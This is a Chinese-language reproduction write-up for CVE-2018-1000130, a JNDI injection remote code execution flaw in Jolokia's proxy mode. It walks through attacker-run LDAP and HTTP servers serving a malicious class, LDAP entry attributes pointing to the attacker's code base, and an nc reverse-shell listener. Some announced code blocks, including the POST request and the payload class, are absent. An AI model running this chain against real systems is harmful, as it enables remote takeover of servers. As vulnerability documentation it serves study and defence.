跳转至

CVE-2018-1000130 Jolokia 远程代码执行漏洞

一、漏洞简介

Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到JNDI注入的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP / RMI连接,因此有可能造成这种攻击。

二、漏洞影响

Jolokia < 1.50

三、复现过程

出于演示目的,我们将在环回接口上运行漏洞利用链中的所有组件。

  1. 以下POST请求可用于利用此漏洞:

  2. 我们需要创建LDAP和HTTP服务器以提供恶意负载。这些代码段最初取自marshalsec和zerothoughts GitHub的仓库。

  3. 之后,我们需要创建一个ExportObject.java带有反向外壳命令。此类的字节码将通过我们的HTTP服务器提供:

  4. LDAP服务器应使用以下命令行参数运行:

http://127.0.0.1:7873/#ExportObject 9092

哪里:

  • http://127.0.0.1:7873/ 是攻击者的HTTP服务器的URL
  • ExportObject 是包含攻击者代码的Java类的名称
  • 9092 是LDAP服务器监听端口

  • nc在port上启动一个监听器7777:

$ nc -lv 7777
  1. 发送步骤1中所示的请求后,易受攻击的服务器向攻击者的LDAP服务器发出请求。

当侦听端口的LDAP服务器9092接收到来自易受攻击的服务器的请求时,它会创建一个Entry具有属性的对象,并在LDAP响应中将其返回。

e.addAttribute(“ javaClassName”,“ ExportObject”);
e.addAttribute(“ javaCodeBase”,“ http://127.0.0.1/”);
e.addAttribute(“ objectClass”,“ javaNamingReference”);
e.addAttribute(“ javaFactory”,“ ExportObject”);

当易受攻击的服务器收到LDAP响应时,它将ExportObject.class从攻击者的HTTP服务器获取,实例化该对象并执行reverse shell命令。

攻击者从其nc侦听器上的易受攻击的服务器接收回连接。

参考链接

https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html